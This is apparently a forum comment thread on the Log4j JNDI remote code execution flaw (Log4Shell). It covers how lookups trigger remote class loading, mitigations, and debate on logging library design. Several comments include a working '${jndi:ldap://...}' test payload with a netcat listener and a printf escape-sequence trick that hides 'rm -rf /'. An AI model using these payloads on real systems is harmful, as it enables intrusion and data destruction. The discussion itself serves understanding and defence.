Log4j RCE Found
lunasec.io
lunasec.io
Typically a logging library has one job to do: swallow the string as if it's some black box and spit it elsewhere as per provided configurations. Log4j though, doesn't treat strings as black boxes. It inspects its contents and checks if it contains any "variables" that need to be resolved before spitting out.
Now there's a bunch of ways to interpolate "variables" into log content. For example something like "Logging from ${java:vm}" will print "Logging from Oracle JVM". I'm not sure but you get the idea.
One way to resolve a variable using a custom Java resolver is by looking it up through a remote class hosted in some LDAP server, say "${jndi:ldap://someremoteclass}" (I'm still not quite sure why LDAP comes into the picture). Turns out, by including "." in some part of the URL to this remote class, Log4j lets off its guard & simply looks up to that server and dynamically loads the class file.
The fix has introduced ways to configure an allowed set of hosts/protocols/etc and forces Log4j to go through this configuration such that these dynamic resolutions don't land on an random/evil server.
External Strings should normally be logged as parameters, not included in the format String. For example:
// this is ok
log.debug("user-agent={}", userAgent);
// this is bad
log.debug("user-agent=" + userAgent);
Does this vulnerability still work on the first case?EDIT: the answer is yes, just tried it myself.
There are other lookup mechanisms, (didn't check them all) but they only retrieve environment/static values (this one [2] for example retrieves kubernetes attributes). I think the jndi one is the only one that load and execute code.
Edit : I think my understanding of the docs is incorrect so ignore the next paragraph
From the documentation [3], I have the impression that these variables should be evaluated only when loading the pattern layout configuration. But in reality they are also evaluated when formatting the final log message (log.info(...)).
I agree that the input should be sanitized but only if the formatting behavior is a bug and was not intentional.
One possible explanation for the current situation, is that developers assumed that all lookup mechanism will retrieve only static values (env variables for example).
And then another dev introduced the jndi lookup which execute code, but no one noticed the impact on the already existing behavior (evaluation variable when formatting the final msg).
Edit
1: https://github.com/apache/logging-log4j2/blob/9df31f73b62ba2...
2: https://github.com/apache/logging-log4j2/blob/c2b07e37995004...
Non-pattern arguments should not do any substitution, because otherwise developers have to jump through hoops to output strings verbatim. You don’t want "Invalid identifier: '${<some valid log4j syntax>}'" to be turned into "Invalid identifier: '<the log4j replacement>'" when the actual invalid identifier (e.g. from user input) was the "${…}" syntax. I’m surprised that log4j behaves that way still after two decades.
From https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/...:
> Variable replacement works in a recursive way. Thus, if a variable value contains a variable then that variable will also be replaced.
And an example where this caused problems for someone:
https://www.tasktop.com/blog-under-construction/log4j-2-the-...
A simple rule such as "If you evaluate a placeholder of type `{}` you should stop evaluating further recursively" would maintain most of existing behavior while only removing vulnerable behavior.
The behavior is fundamentally wrong as explained by layer8's comment and in the blog post jcheng linked. Apparently it was intentional, and to me that's a million times worse than if it were a bug that could just be fixed.
log4j is unsuitable for use in a way that many many people are suddenly discovering today. The log4j developers need to rethink this, and even if they do, log4j's users should still strongly consider switching to something else. Otherwise they need to audit the whole codebase for other surprising, broken, insecure design decisions not only in its present state but also on each update. I don't see how it's possible to trust the log4j developers' design sensibilities after this.
I've been on an 'archaeological dig' into the Log4j commit history, and sure enough, there's evidence that the formatting behavior was intentional from the outset.
My write-up is here: https://jedwidz.hashnode.dev/log4j-vulnerability-what-the-fa...
Safe logging is not too high of a bar.
The log4j API implements a few overloads of each log method to help avoid the implicit array allocation happening in common logging cases (no args, one arg, etc).
The call site can tell if args were provided.
Logging should not be the thing you have to sanitize.
You have something similar when building database queries, generally you should have a base template into which you insert arguments. The library generally should take care of escaping things and also preventing things like SQL injections.
Using a format and args lets you call the method with only references to existing objects, no additional string needs to be allocated unless the log method actually needs to generate the string to log (and it might even be able to use streaming to output the log and never even allocate the string)
When you’re doing things like putting trace logs with all your parameters in at the top of every method call, the memory and GC pressure of generating unnecessary strings can be significant.
If you are using a logger to output a message which you want to be able to parse based on delimiters, say, it would be up to you to escape any parameters you were incorporating into it to ensure they don’t confuse your parser.
To make it always work correctly, don't pass the data values as code. Although apparently[1] Log4j complicates this by mixing code with data even if you separate them, unless you tell it not to by saying "$m{nolookups}" instead of "%m".
[1] https://www.tasktop.com/blog-under-construction/log4j-2-the-...
You have to wonder if opening a ticket for such a feature then having someone (or yourself under another account) build it in such an egregious way is a possible vector for deliberately creating such exploits.
If this feature was default enabled, then it's even more suspect. It's just such an esoteric thing.
When you factor in this kind of thing with recent revelations about backdoored NPM packages, you have to wonder if OSS is even tenable. I don't want to go all the sky is falling here, But the default model of assuming that someone's paying attention doesn't seem to cut it. It works well in most cases, but it's that 2% or 5% that's a doozy.
Linus' insults were always cringeworthy. Sometimes they may have been justified, at other times they were just needlessly hurtful and revealed some sort of weakness on his part. In any case, he always had the power to say no with just that single word.
Log4J doesn't even have a code of conduct in its source tree, though I guess Apache probably has one. You'll get a free Log4j update if you find any instances of it having an impact on the project.
Example, please?
What is your reasoning for suggesting that (i) codes of conduct are in tension with (ii) competence and truthfulness?
There is a difference between (a) maintaining high code quality and review standards and (b) yelling at people and/or degrading them.
With this in mind, think through the first-order and second-order effects that happen when toxic leadership behavior is allowed, tolerated, or encouraged in an open source project.
Toxic leadership in an open source project, all other things equal, harms the project and the people.
Of course, historically, there are cases where intelligent and committed people exhibit toxic behaviors -- but this is not a pattern of behavior for us to aspire to. Quite the opposite.
I understand that many people (including software developers) struggle in interpersonal interactions. I don't demonize people when they are unaware or lack the tools to treat others with respect. But these behaviors have huge negative effects, so it reasonable and beneficial to have fair, humane codes of conduct to mitigate such negative patterns of behavior.
> Une chose qui m'humilie profondément est de voir que le génie humain a des limites, quand la bêtise humaine n'en a pas.
So, never discount human stupidity :-(
Yeah, I kind of thought that too as I was typing it, but it's so egregiously bad that I couldn't get around that conclusion.
>You have the same exploits in commercial software
Sure, virtually all software is susceptible to exploit. But, if someone were sending unsanitized strings to a database, and without using query parameters, etc., then we would all agree that's inexcusable after all of these years of knowing better.
IMO, this is in that category.
All logging libraries contain some kind of template engine as a performance optimization, in order to avoid actually generating the output string (can be costly) if logging is disabled. And template engines have always been a major source of vulnerabilities.
For example in swift, log.debug("my name is \(expensiveCalculate(name))") doesn’t have to evaluate “expensiveCalculate(name)” unless the logger actually opts to instantiate the string (which it can skip if say, debug logging is disabled.) This is because Swift’s string interpolation is implemented as lazily-evaluated closures, and all the “debug” method has to do is tag the input as an @autoclosure and it can avoid evaluation until it actually calls the closure. No templating is needed, just native string interpolation provided by the language.
> All logging libraries contain some kind of template engine as a performance optimization
This doesn't need to be the case for some languages. But also, a language's native string interpolation doesn't need to be implemented as any sort of runtime template engine in the first place, because the compiler can compose the the components of the interpolated string at compile time. This compile-time/runtime split is IMO the key differentiator here, because runtime string interpolation is much more prone to bugs/RCE (since an untrusted string may show up as your template string.)
To use an example, in swift, `f1("Some \(string) with \(vars)")` is fundamentally different than calling `f2("Some {} with {}", string, vars)`, because of the fact that such a method signature for "f2" may allow an untrusted string to show up as the first argument, which isn't possible in f1. (And no, an external string that happens to have \()'s in it will not be expanded... it has to be a string literal in the source code, which the compiler can see, for interpolation to happen.)
If the signature was different so it only used instances of a FormatString class to get dynamic behavior, this problem would be avoided, but I’m sure a lot of people would complain about the extra typing.
What’d be really cool would be if Java supported something like this Rust lifetime hack to let that be implicit where you could disable dynamic functionality for strings created after startup.
https://polyfloyd.net/post/compile-time-prevention-of-sql-in...
As a matter of principle, it should also clearly not be possible for a templating engine to perform any kind of side effect. That's totally crazy.
Imagine, you write SQL commands using the proper parametric form, such as:
> exec("select * where id=${1}", user_provided_login);
You would be right to expect the DB library to escape the string so that no SQL injection is possible. After all, isn't that the whole point of parameters over a mere
> exec('select * where id=' + user_provided_login);
?
Well, apparently log4j is doing the equivalent of treating 'user_provided_login' as legit SQL.
This is especially problematic because not only will it substitute some '${variables}' again at remote user discretion, but some '${special.forms}' can actually instruct log4j to connect anywhere, download some code, execute it, then print the output. Because that was deamed convenient to someone in the past who complained that feature was missing and submitted a patch which, because of stellar unit tests, passed the code review.
The only context I can think of where this behavior regarding recursive substitution is acceptable is text templating, away from possibly adversarial input. I believe it goes opposite to expectations when logging.
SQL in some (hopefully good number of) cases is much safer than that. Going with MySQL prepared statements here: parameters are not sustituted into the SQL statement string, but rather sent as seperate data packets in the wire protocol.
According to https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-... , SecurityManager is not enforced on remote class loading when using JNDI's LDAP server provider interface.
If I have the ability to trigger execution of a process on some service, and one of the things it does is return me the logs form that process, it might be somewhat surprising to the host of that process that if I can pass in "${java:vm}" as input, the logs might leak information about what version of the JVM it's running...
What else might you be able to get a system to leak to you if you can control input and read log output?
No it doesn't. That was disabled by default in 2009, and was disabled by default in every release of Java 8 or later: https://github.com/openjdk/jdk8u/commit/006e84fc77a582552e71...
Unless i am mistaken, i don't believe the attack as described by LunaSec actually works against a default-configured JVM released any time in the last decade.
It's also mentioned as part of the release notes for 8u121: https://www.oracle.com/java/technologies/javase/8u121-relnot...
Edit: Looking deeper into it; the JDK version used within the POC's GitHub, from the screenshot in that repo, is 8u20, released in 2014.
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Inj...
So you are safe!
There is a workaround that fixes it for 1.13 to 1.18 only: Simply add `-Dlog4j2.formatMsgNoLookups=true` to your Java parameters
What about Minecraft <1.12? Well, Mojang employees have said on Twitter^1 to not use any Minecraft versions before 1.12 right now.
[1]: https://twitter.com/slicedlime/status/1469150995842310144
The patch seems to have been to the client-1.12.xml file, which I believe is the log4j configuration file for all client releases since 1.12, and the change seems to have been to add a {nolookups} flag to the log format (but I don't have an old copy of that file to compare and see if anything else was changed).
If I'm not wrong, this gives a simple way to make sure your copy of Minecraft is patched: just check if that file has that {nolookups} flag.
Why does this behavior remind me of the old "dcc send start keylogger 0 0 0" exploit of IRC some fifteen years ago?
> DCC SEND STARTKEYLOGGER 0 0 0 is a way to make half of the people in an irc channel disconnect. This originated when a virus used the phrase to start the key logger it came with. If you had Norton internet security, it would terminate the connection. Some older routers also crash when receiving a malformed DCC request, which DCC SEND STARTKEYLOGGER 0 0 0 is.
That's pretty wild, it was caused by hypervigilant security software apparently
But at the same time... c'mon. A logging framework's job is to ship strings to stdout or files or something. String interpolation should not be this complicated, flexible, whatever you want to call it. The idea that a logging framework (!) could even have an RCE makes me want to scream... the feature set that leads us to that even being possible just weeps "overengineered".
> log.info("foo: " + bar);
rather than:
> log.info("foo: {}", bar);
But the issue also affects log4j2, and it doesn't matter which form of logging you use, since the transformation apparently happens further along in some appender, used by both versions of log4j.
log.info("Request User Agent:{}", userAgent);
Also, I just try with log4j1 , and I can't reproduce it. At least with the netcat trick doesn't work : https://twitter.com/thetaph1/status/1469264526214406150?s=20
And yes, I'm actually not sure log4j1 is vulnerable. I assumed it was because the sample code in the post was using log4j1, though the description only explicitly mentions log4j2.
I've seen people (including here on HN) dismiss libraries as "abandoned" when they went a year without a release.
The software industry will never get bug-free, feature-complete software so long as we're selecting for the opposite.
Unrelated, but your typo made me think that "Peerfection" would be a great name for a P2P program.
This idea that it must be changing forever is literally why you can't have simple done tools. Cause they will be considered abandoned once they do that one thing.
No one said the interface or functionality has to be changing forever; as I said, work includes testing and refactors, and that includes removing code. Or just fixing known bugs. I don’t know many open source projects with zero bugs, do you?
If it’s too small though, it’s probably not that useful and this doesn’t apply. It doesn’t really make sense to care about whether it was abandoned, either, because it will be so small that it doesn’t have any onboarding time and anyone can pick it up at any time.
Cause these libraries depend on other libraries that are probably extremely out of date at that point and have their own security vulnerabilities.
An example of a project that hasn't been dismissed as "abandoned", is https://github.com/patrickmn/go-cache because it explicitly doesnt have dependencies.
So yeah, if you have a semi-complex library, a year without a release is abandoned.
For context, injection attacks were on the original OWASP top 10 list from 2003.
See https://github.com/apache/logging-log4j2/pull/608#issuecomme... for more details.
If you are using a version older than 2.10.0 and cannot upgrade, your mitigation choices are:
- Modify every logging pattern layout to say %m{nolookups} instead of %m in your logging config files, see details at https://issues.apache.org/jira/browse/LOG4J2-2109
or
- Substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup, in a way that your classloader uses your replacement instead of the vulnerable version of the class. Refer to your application's or stack's classloading documentation to understand this behavior.
[1] https://issues.apache.org/jira/browse/LOG4J2-2109 [2] https://github.com/apache/logging-log4j2/pull/607/files [3] https://issues.apache.org/jira/browse/LOG4J2-3198
https://www.lunasec.io/docs/blog/log4j-zero-day/#temporary-m...
[4] https://issues.apache.org/jira/browse/LOG4J2-905
[5] https://logging.apache.org/log4j/2.x/changes-report.html#a2....
Checking on the viability of the classloading-based mitigations now across the versions. It seems that LOG4J-1051 was raised [6] to make the class instantiator more tolerant of missing classes, and the resulting changes were released in v2.4 and v2.7. Will check how earlier versions behave in this case.
personally, I'd extirpate Java too. but I'm curious: does anyone need and use jndi?
it's worse with web stuff though... and it's a real vector.
https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=terminal+es...
https://packetstormsecurity.com/files/162518/AWS-CloudShell-...
Is it really common to run terminals as root? I can't remember the last time I did. Sure, I open a terminal as my user, and then run 'sudo bash' to get a shell as root, but the terminal is still running as my user. Were you meaning something else?
Which, incidentally, is the most pleasurable way of experiencing UNIX and UNIX-likes. (Shellboxen)
Also one common way to install "DevOps" stuff piping scripts from curl (and them being asked for root)
This is the kind of vulnerability the GP was talking about here I think https://nvd.nist.gov/vuln/detail/CVE-2021-27135 and there have been a few in the history of terminals. If you've looked at the code for the historical terms (xterm, rxvt etc) it's very large and kinda gnarly. If you're security or performance-conscious there are probably better choices nowdays (eg Alacritty which I primarily use) which have a much smaller attack surface.
I could imagine an attack like this:
printf 'rm -rf /\n\033[%iAecho "Hello World!"\n'
When executed in a terminal this looks like it generates an innocent shell script. But when piped into a file and the executed it will delete all your files.
This is a really ridiculous assumption.
similarly to shells and base/foundational software (like logging libraries).
Bash itself goes for long spans of time without updates in their release versions https://git.savannah.gnu.org/cgit/bash.git
I don't have experience with this feature but there's similar use cases in log shipping utilities like fluentd
Edit: I read the other link and it looks like some sort of poorly designed RPC functionality or something shrug
Edit 2: Reading https://docs.oracle.com/javase/7/docs/technotes/guides/jndi/..., it sounds like it's a form of service discover of sorts. You talk to a registry server and it provides some object pointing to the real destination
This is basically the response to every type of vulnerability that is based on some spec nobody's read. Same deal with XML entity parsing. Why should it make web requests, FTP requests, etc.?
At some point someone had it as a requirement and everyone else gets to live with it.
I encountered a similar problem recently, my own logger can get the current container/pod IP address, it's painful to tell which host from the IPs in logs, so I had to do a manual DNS lookup to include a hostname instead. I was hoping the logger could automatically do a lookup and cache it for me.
1. the log aggregator doesn't exactly support DNS lookups
2. You have to parse the log first, exactly precisely where the IP part, then do a proper lookup. But sometimes the log is just a mess.
3. where the log aggregator located cannot do host lookup because of different network and different DNS server.
So overall the lookup would better be done locally.
You can eat your pizza slice whichever way you want.
Arguably this would be useful for critical events.
I think 20 years ago it would have been slammed as overkill to have a separate process just to send logs.
Even now actually, there is a flurry of libs/gems to send events/logs/analytics to a remote server (Datadog, NewRelic, Slack…)from the application itself. It’s usually not directly coupled with the logger, but it’s not far.
https://logging.apache.org/log4j/2.x/manual/lookups.html
The problem here is the JNDI lookup because for historical reasons there is code in these providers which causes Java to deserialize and load bytecode if it's found in a result for a lookup against an LDAP server. That exploit was partially fixed in the JDK in 2008, then in 2018, but there are multiple naming providers that are affected.
Yes, it's enabled by default before 2.15.0, released today to mitigate this issue.
The part of log4j functionality that gets used in practice, most of the time, is just a wrapper around printf which adds a timestamp and a log-level. This is very quick and easy to write. A library in this role should have zero RCEs, ever in its entire lifetime, or it is unfit for purpose.
The complexity in logging libraries like this are much greater than they seem like they should be, specifically because they’re designed to abstract a lot of integration use cases in a way that feels like it just works. Marshaling data between even a few services introduces a lot of potential for mistakes.
That's a pretty naive view of what's needed in an enterprise logging solution.
logging to files, separate logging, remote logging, log rotation, logging 3rd party code...
Of course if you're simply sending lines to the terminal in a simple program you don't need log4j.
But once you scale, you'd be spending 3 weeks implementing what you get for free in log4j.
Playing application log janitor is miserable. Just ship the logs and be done with it.
I agree that log configuration is a pain in the butt and oftentimes messy (especially when some third party lib includes a line to basically wipe your global config and everything gets wonky), but it's not like the heavy value adds are easy and bug-free to write!
So, don't. Ship the logs as quickly and as simply to a system which is explicitly for log management.
The choice isn't between writing huge logging libraries or using log4j, it's whether you want an application to handle its own flat-file logging and rotation in the first place.
Java has always been obnoxiously complex to steer towards sane, basic, modern syslog, which I think is a shame.
Depending on the velocity at which the log barf was being produced, we sometimes had a short window in which we could manually (!) log in via SSH (!) and restart filebeat to force it to close the open file handles at the cost of losing everything being buffered locally (!).
For example, Hibernate has full query logging built in, but even if you filter locally with some logging demon, pushing 100 - 1k queries / second to stdout or a file is going to cripple performance.
With a logging framework like Log4J or SLF4J you can have this query logging, and you can enable it within 1 monitor run (usually 60s) at runtine and disable it 4-5 minutes later. This is very, very powerful in production.
Logs are streams, not files. To a first approximation, you should just log to standard out, and let another system take care of sending your output to either a file (with rotation) or logstash, or syslog, or a whatever else is appropriate. To a second approximation (if you’re already using stdout for something else), the thing you’re logging to should still be a file descriptor, but not a file per se. (perhaps a local socket to a logging system like syslog.)
I don’t need everything on my system that logs, to invent its own log output directory, and implement its own log rotation. That’s how you get a mishmash of different places where logs end up living, and they become very difficult to collate or compare, etc.
That's the issue though isn't it, a lot of people don't need those features, just the prettifying and formatting, levels selectable by classpath and basic bits. log4j is great at these things and has become the standard for these things as much as anything else.
And with a lot of stuff being done by microservices, serverless functions etc, you have other pieces that pick up the logs and do all the smart processing. Especially 'at scale'.
So a capable but simple logging library is probably a good option. Perhaps log4j could split.
I... don't think this is true? When I was using it we used log rotation, log truncation, configurable output formatting that could be made consistent across the code or specialized in certain parts of the code base that required more detailed logging, masking credit card numbers and emails in log statements, and doing all of the logging async to not impact performance. And I'm sure there are features it has which I didn't mention.
You're better off learning the de-facto libraries of your language. Your employer, or any production application you're going to work on is probably going to use one of these libraries.
I learned the most common Java libraries when writing personal projects -- Lombok, log4j, Guava, Gson, Jackson, Netty, etc.
I had a significantly gentler learning curve at my first job. We used these common libraries, so I had a very easy time when I had to edit log filtering or fix log rotations of our applications.
Because otherwise you have to depend on skills of a third party library maintainer you have no communication with or contract agreement with, to protect his/her codebase from getting security backdoors, which other malicious actors will constantly try to inject it with, if the library is known to be used by various large enterprises.
Coding with third party libraries is about trust, for simpler functions and packages its usually worth it long term to code it in-house. It’s easier to maintain, only comes with features you need and you’re always aware of what capabilities your code has.
I’m everyday impressed how relatively less npm with node, etc get hacked, considering they use additional third-party libraries for 4 liner functions too.
For one, the very reason we are all in this thread right now.
more libraries = more attack surface.
Also, Gson and Guava are both fantastic libraries
Sure records are pretty cool but Lombok does do a few other things as well.
I've always written my own loggers, doesn't even take more than an hour in C#-land. log4net is quite a beast so I avoid it. Serilog is pretty cool though, but in most cases I just roll my own. Other than that, .net core comes with its own loggers and logging abstractions, so half the time you don't have to write your own anymore, and if you do, its super pluggable.
They also updated their landing page [2]: "Logback is intended as a successor to the popular log4j project, picking up where log4j 1.x leaves off. Fortunately, logback is unrelated to log4j 2.x and does not share its vulnerabilities."
Can't say I blame them.
[1] https://github.com/qos-ch/logback/commit/b810c115e363081afc7...
EDIT: Removed Apache from Apache Logback since, as correctly pointed out, it's not a Apache project.
I used to like it for its technical merits: it's really much better than Log4j 1. But its development has stagnated, and it doesn't offer anything over Log4j2 nowadays. Furthermore, it's not an Apache project, it doesn't even use the Apache License, but LGPL.
I would say that a logging framework also needs to be boring. I don't understand why string interpolation with access to the JNDI context needs to be in core Log4j2.
Less is more so to say.
That's a major plus.
Could you update your mitigation steps to explain how to set the "log4g.formatMsgNoLookups" config? It's not clear whether this is a property that goes into the log4j config or into the JVM args.
It's listen in the log4j docs here[0] as a feature. Funny enough, they actually call out the security mitigations they have in place for this in there with:
"When using LDAP only references to the local host name or ip address are supported along with any hosts or ip addresses listed in the log4j2.allowedLdapHosts property."
... I'm guessing they must have broken this, or the exploit found a bypass for those? I'll do some digging and update the blog post if I find anything interesting.
0: https://logging.apache.org/log4j/2.x/manual/lookups.html#Jnd...
I'll ask again because the information presented so far both in this thread on GitHub and on Twitter has been very lacking: is it necessary to return the input string back to the attacker in the response to their request in order for them to exploit this bug as you are doing in your example code?
It's the kind of feature I've seen in some software in the past.
That's just a guess though.
In C, it's unsafe to do
printf(string_variable);
because variable will get parsed as a format string. The way to solve the vulnerability is printf("%s", string_variable);
Is that the same in Java logging libraries? Is it well-known that the logged value will be parsed? What's the safe way to log a value in Java exactly, knowing that nothing will parse that value?What gets parsed is a string that tells the server to make a request to another server. If you use a weird protocol for that, like jndi:ldap, you can then return a class which will be automatically loaded.
So the code injection happens as the response to the remote request. The part the logger plays is that you can initiate that remote request by having the logger log some special string.
1. Attacker-controlled data is being parsed as code (format code, not Java code). I'm not sure to what degree this is the logging library's fault vs programmer error passing attacker-controlled data as a format string. I know in Go, the standard libraries take care to help programmers avoid this problem by making sure to have the character "f" in the function name to indicate the function parameter is a format string. log.Print() takes data, log.Printf() takes a format string, log.Fatal() takes data, log.Fatalf() takes a format string.
2. The format string syntax contains significantly exploitable features if an attacker can control it. This is the same as in C, because in C, printf() contains exploitable features. This is not the case in Go, because the worst the attacker can do in Go is cause the formatting to be strange or the .String() or .Error() methods to be called on the other inputs.
Note that even without 2, 1 is still a correctness problem. If I want to log attacker-controlled data, I want it to display accurately. If the attacker's User-Agent header contains weird characters, I want those to be logged exactly, not inadvertently transformed into something strange by my library.
Safe way should be something like `logger.info("a={}", a)`. Of course nobody's preventing log4j to parse any argument in any way they like. And they actually do. So with log4j there's no safe way it seems.
As a possible solution you can set MDC variables at the higher level, they are bound to the current thread, and reference them in the format string, and unset them after processing the entity. It's not a great solution due to temporal coupling, and you typically print it outside of an individual logging statements (e.g. add it to all logging statements), but it definitely beats drilling dozens of methods with the diagnostic identifiers.
https://github.com/apache/logging-log4j2/blame/master/log4j-...
A person is smart, but people are dumb.
The easiest way to support this would just be to allow JNDI lookups from log strings. Unfortunately, that enables all sorts of lookups!
IMHO, the real bug here is that the LDAP JNDI provider will load class files from arbitrary untrusted sources. That is an obviously terrible idea, regardless of whether JNDI is being used from a logging string or somewhere else.
It sounds like a classic X-to-Y-to-Z problem. Someone connected X to Y thinking Y was pretty safe even with untrusted input, not knowing it would ever proxy to Z (probably, everything you can do with JNDI on a local machine is safe). Someone else connected Y to Z thinking that Y is only passed trusted values so the new proxy feature could only be triggered deliberately. And here we are. This class of bug should have a name but probably doesn't.
And another person didn't document well that log messages must be trusted input...
JNDI was the "Java Naming and Directory Interface", part of the suite of CORBA-like Java-only distributed object tooling.
My guess is that the "lookups" feature in log4j assumed that all URL protocols were "http:" or "https:" and didn't account for either the full set of built-in protocol handlers or the fact that an application can register additional protocol handlers.
Those config measures were put in place as part of the fix for this issue. I.e they didn't exist before the fix was released.
Edit: This is wrong - the exploit works anywhere in log messages, even parameters: https://news.ycombinator.com/item?id=29506397
Seems like a late contender for dumbest/most-unnecessary RCE award in 2021. Java is uncannily good at those for a memory-safe language.
I'm not sure what that has to do with the performance of concurrenthashmap under heavy collisions... ?
[0]https://fahrplan.events.ccc.de/congress/2011/Fahrplan/attach...
[1]https://openjdk.java.net/jeps/180
[2]https://stackoverflow.com/questions/8669946/application-vuln...
Security really is hard to get right.
Any paper/presentation that I can read? I seem to be having a hard time findin it.
org.apache.logging.log4j.LogManager.getLogger("whatever").error("not safe {}", "${jndi:ldap://127.0.0.1:1234/abc}")EDIT: nevermind, the issue apparently arises outside of formatting strings—though it would have been nice if the example had demonstrated this.
The issue occurs in incorrect logging code such as:
> logger.info("Data: " + data);
But the correct way of logging the above data is:
> logger.info("Data: {}", data);
It's analogous to using something like the following in C:
> printf(data);
In the incorrect cases (log4j or C), the user input is being used as a format string, and the user can likely cause an RCE. This is an issue in C for reasons that should be obvious. Java has historically been used very reflectively, so whenever there's some expression interpreter or deserialiser involved, there's a good chance it could be RCEd with arbitrary input.
I'm not sure how this interacts with the RCE issue reported here.
EDIT: That's because I was thinking of Slf4j, which has additional smarts here.
> logger.info("Data: {}");
would effectively turn into something safe:
> logger.info("{}", "Data: {}");
And the issue would only arise if someone mixes the two patterns:
> logger.info("Data for " + username + ": {}", data);
Overall, I don't like the sound of that feature, since it blurs the line between correct and incorrect use of the logging API. The first argument should always be a constant formatting string.
I guess aesthetically you could argue either way, but I think the main purpose of the formatting string method is that you can write:
> logger.trace("Updates: {}", longListOfUpdates);
and if trace logging is disabled (which can be done dynamically), it's not going to invoke `longListOfUpdates.toString()`, which is what happens when you perform string concatenation. If it didn't work that way, I suspect people would end up writing extra `logger.isTraceEnabled()` conditions around their logging code.
Start nc (nc -lp 1234) and run this
org.apache.logging.log4j.LogManager.getLogger("whatever").error("not safe {}", "${jndi:ldap://127.0.0.1:1234/abc}")To see if there are injection points statically, I work on a tool (https://github.com/returntocorp/semgrep) that someone else already wrote a check with: https://twitter.com/lapt0r/status/1469096944047779845 or look for the mitigation with `semgrep -e '$LOGGER.formatMsgNoLookups(true)' --lang java`. For the mitigation, the string should be unique enough that just ripgrep works well too.
https://github.com/PortSwigger/active-scan-plus-plus/commit/...
No, it is one of those efforts that suffer from their underlying problem being so well understood that, apparently, everybody working on it feels compelled to "enrich" it with more options, config layers, adapters, extensions.
Who benefits is Java developers. Java is a simple to learn language, and almost everyone learns it in college. As a result, competition at the entry level is fierce. You can't break into Java development coming out of college without rote memorization of Java builtin classes, knowing Hibernate and log4j like the back of your hand, and knowing all of the latest acronyms and buzzwords.
This provides a cushy barrier to entry so people who survive that can stay employed without risk from cheaper incoming developers.
We are currently tracking this activity and have noted almost 100+ hosts checking for this: https://www.greynoise.io/viz/query/?gnql=tags%3A%22Apache%20...
It's got as many eyeballs in it as you could ever hope, and it's as mature as any piece of software ever could be.
And its job is to write text to files. It's basically a wrapper around printf.
How did this get screwed up?
Security is impossible.
The only winning move is not to code!
....OR learn to live in a state of constant vulns and put guardrails in place so that you can avoid shooting yourself in the foot as much as possible. In this case strict ngress/egress firewall rules in prod would prevent this from ever being exploited from what I've read on the vuln thus far.
Developers always want abstractions to make programming easier, but they never consider the cost of using those abstractions. It’s so convenient to place all the burden on library authors but you’re the one logging client supplied input in the first place!
Put a regex whitelist on your inputs wherever there’s a trust boundary. How come devs should never have to consider security but FOSS package maintainers do?
No. That's a horrible idea because it requires you to think about security in multiple places and get it right every time.
Instead I am going to wrap the horrible logging library that does not automatically escape control characters within arguments in a wrapper that does. Now it's impossible for me to mess up.
Or... you know. One could have designed the logging library in such a sane way in the first place.
There’s a myriad of security vulnerabilities based off failing to escape special characters. Use output encoding if you need usernames to have special chars. There’s really no excuse to not sanitize input it’s a basic security principle.
Nobody in their right mind will sanitize (and specifically not encode), on receipt, something like a name to be safe for every logging library, query language, or output in HTML/terminal/etc their backend may use. Such an undertaking is even provably impossible for combinations where one component requires escape sequences that again would need to be escaped for something else - in a circular manner. And that's just one thing that's objectively wrong about the idea.
Beyond the rules applicable to the specific type of input (for example: it should be a correctly UTF-8 encoded string with a maximum length), you treat all user inputs as opaque binary/character/whatever blobs within your system. That means your system certainly never parses such a blob looking for 'magic characters'. And only once you're going to do absolutely anything with it you apply sanitation as required for the target - and you make sure it always happens automatically as a matter of process. For example: your SQL client library will automatically build queries in a safe manner, your HTML template library will escape all provided strings by default, and your logging library will not look for magic characters in format string arguments - that's what the damn format string itself is for!
By all means use whitelists of characters for user-provided inputs (if you know what you're doing and are not going to prevent 2 billion people from using your software because you just deleted their alphabets). But don't even try to accommodate your random assortment of current and future backend technology at that point.
You aren't understanding. You should only need one regex per input. It's super easy. Developers should understand what data their applications expect to receive from a client.
From OWASP:
"Input validation is performed to ensure only properly formed data is entering the workflow in an information system, preventing malformed data from persisting in the database and triggering malfunction of various downstream components. *Input validation should happen as early as possible in the data flow*, preferably as soon as the data is received from the external party."
See https://owasp.org/www-community/Injection_Flaws for more details.
> For example: your SQL client library will automatically build queries in a safe manner, your HTML template library will escape all provided strings by default, and your logging library will not look for magic characters in format string arguments - that's what the damn format string itself is for!
Except when those libraries fail. Just like in the headline for TFA. Libraries can't always fix insecure application logic.
I don't understand how you think additional security checks are somehow detrimental. If I know some URL parameter should be a 16 character alphanumeric string, it should take you about 10 seconds to make a regex for that.
> Beyond the rules applicable to the specific type of input (for example: it should be a correctly UTF-8 encoded string with a maximum length)
versus
> You aren't understanding. You should only need one regex per input.
Also you're hopping between sanitation and validation as if you believe they're the same thing. My original example was a case of doing specifically validation badly and you specifically spoke about validation in your original comment. You then replied with a comment suggesting one should apply encoding, specifically escaping, to inputs. That is not called validation.
Apparently with this most recent comment we're back to validation.
At this point I don't know how to talk to you because you seem to make this conversation about something new with each comment and I'm past humoring it.
You know what, I admit my writing isn't excellent. I'm fully aware of the difference between sanitization and validation and frequently lump them together in technical conversations. Input validation/sanitization along with OUTPUT encoding, are major security controls that should be present in your application and proper use of these techniques will protect you most of the time with your dependencies have a security flaw.
> At this point I don't know how to talk to you because you seem to make this conversation about something new with each comment and I'm past humoring it.
You replied to me saying that regex whitelists on untrusted input was "a horrible idea" and "objectively wrong". You argued that libraries should safely handle the untrusted input for you. You argued that validation/sanitization should not happen immediately upon receipt on the input. These points are just wrong. I'm not trying to be a dick, and I think its possible to have a constructive conversation here.
Full disclosure: My day job is as a web application pentester. I've tested/reviewed hundreds of applications.
I don't expect devs to be experts on security, but what triggered my ORIGINAL comment was all the software engineers ITT bashing open source libraries without considering security in their own code.
Unrelated app writes stuff to a logfile. This get's shipped to logstash. The log message was crafted in a way to break the logstash pipeline with an exception (invalid json, grok errors or something)... which get's written to the log of logstash, including parts of the original message.
Or, you can trigger indexing errors in elasticsearch by forcing individual keys in events to have conflicting types (send "banana: 42" first, making it an int, and then send "banana: '42'", making it a string). This can cause ES to dump the field name, and sometimes a value if I recall right, to it's own log.
In both cases, this could potentially compromise a vulnerable log aggregation behind an unaffected service.
